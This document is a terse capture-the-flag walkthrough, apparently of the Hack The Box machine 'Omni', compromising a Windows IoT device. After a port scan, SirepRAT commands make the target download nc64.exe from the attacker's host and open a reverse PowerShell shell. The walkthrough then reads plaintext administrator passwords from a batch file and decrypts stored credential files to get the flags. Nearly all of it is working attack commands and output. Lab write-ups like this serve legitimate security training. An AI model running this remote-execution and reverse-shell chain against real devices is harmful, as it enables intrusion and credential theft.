WINDOWS IOT DEVICE

SIREPRAT UPLOAD NC64.EXE REVERSE SHELL

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

5985/tcp open upnp Microsoft IIS httpd

8080/tcp open upnp Microsoft IIS httpd

| http-auth:

| HTTP/1.1 401 Unauthorized\x0D

|_ Basic realm=Windows Device Portal

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Site doesn't have a title.

29817/tcp open unknown

29819/tcp open arcserve ARCserve Discovery

29820/tcp open unknown

http://omni.htb:8080/

https://github.com/SafeBreach-Labs/SirepRAT

root@kali:/home/kali/Desktop/htb/omni# python -m SimpleHTTPServer 80

root@kali:/home/kali/Desktop/htb/omni/SirepRAT# python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-WebRequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.22/nc64.exe" --v

root@kali:/home/kali/Desktop/htb/omni# nc -nlvp 1234

root@kali:/home/kali/Desktop/htb/omni/SirepRAT# python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.22 1234 -e powershell.exe" –v

SHELL GAINED!!!!!

PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> type r.bat

type r.bat

@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143

net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

net user app mesh5143

net user administrator _1nt3rn37ofTh1nGz

http://omni.htb:8080/#Device%20Settings

processes→run command

C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.22 1234 -e powershell.exe

PS C:\Users> $credential = Import-CliXml -Path U:\Users\app\user.txt

$credential = Import-CliXml -Path U:\Users\app\user.txt

PS C:\Users> $credential.GetNetworkCredential().password

$credential.GetNetworkCredential().password

7cfd50f6bc34db3204898f1505ad9d70

USER TXT

PS C:\windows\system32> $credential = Import-CliXml -Path U:\Users\administrator\root.txt

$credential = Import-CliXml -Path U:\Users\administrator\root.txt

PS C:\windows\system32> $credential.GetNetworkCredential().password

$credential.GetNetworkCredential().password

5dbdce5569e2c4708617c0ce6e9bf11d